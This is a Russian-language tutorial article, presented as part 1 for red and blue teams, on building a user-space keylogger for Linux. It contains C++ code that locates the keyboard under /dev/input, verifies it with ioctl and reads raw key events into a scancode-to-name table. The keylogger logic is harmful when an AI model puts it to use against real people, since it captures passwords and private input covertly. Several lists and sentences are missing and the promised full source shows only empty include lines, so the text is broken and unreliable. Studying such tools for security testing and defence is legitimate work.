15.07.2022 | Пишем кейлоггер на Linux: часть 1 |
Что такое кейлоггер?Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя. Почему нужно изучать кейлоггеры?Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации. Кому это может понадобиться?Специалистам Offensive Security или красной команде:
Специалистам Defensive Security или синей команде:
Взаимодействие клавиатуры и LinuxЧтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему: /-----------+----------- /-----------+----------- | app 1 | app 2 | | app 3 | app 4 | -----------+-----------/ -----------+-----------/ ^ ^ | | +-------+ | | | | key symbol keycode | | + modifiers | | | | | +---+-------------+ +-----------+-------------+ + X server | | /dev/input/eventX | +-----------------+ +-------------------------+ ^ ^ | keycode / scancode | +---------------+---------------+ | | +---------------+--------------+ interrupt | kernel | <--------=-------+ +------------------------------+ | | +----------+ USB, PS/2 +-------------+ PCI, ... +-----+ | keyboard |------------------->| motherboard |----------->| CPU | +----------+ key up/down +-------------+ +-----+ Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши ( CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs ( В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях. Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
А как найти клавиатуру в системе?Определить клавиатуру или устройство, заменяющее ее, довольно просто:
В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные. Так можно итерировать каталоги и искать символьные файлы в C++17: std::string get_kb_device() { std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) { std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) { kb_device = p.path().string(); } } return kb_device; } А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
Пример кода для вышеописанной логики приведен ниже: std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) { std::cerr << "Error: " << strerror(errno) << std::endl; continue; } int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) { ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) { // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; } } close(fd); Как реализовать считывание событий клавиатуры?Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:
Структура ` struct input_event { #if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__) struct timeval time; #define input_event_sec time.tv_sec #define input_event_usec time.tv_usec #else __kernel_ulong_t __sec; #if defined(__sparc__) && defined(__arch64__) unsigned int __usec; unsigned int __pad; #else __kernel_ulong_t __usec; #endif #define input_event_sec __sec #define input_event_usec __usec #endif __u16 type; __u16 code; __s32 value; } Рассмотрим переменные в структуре:
Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом: std::vector keycodes = { "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" }; Для полноты картины ниже приведен полный исходный код кейлоггера: #include #include #include #include #include |
Проверить безопасность сайта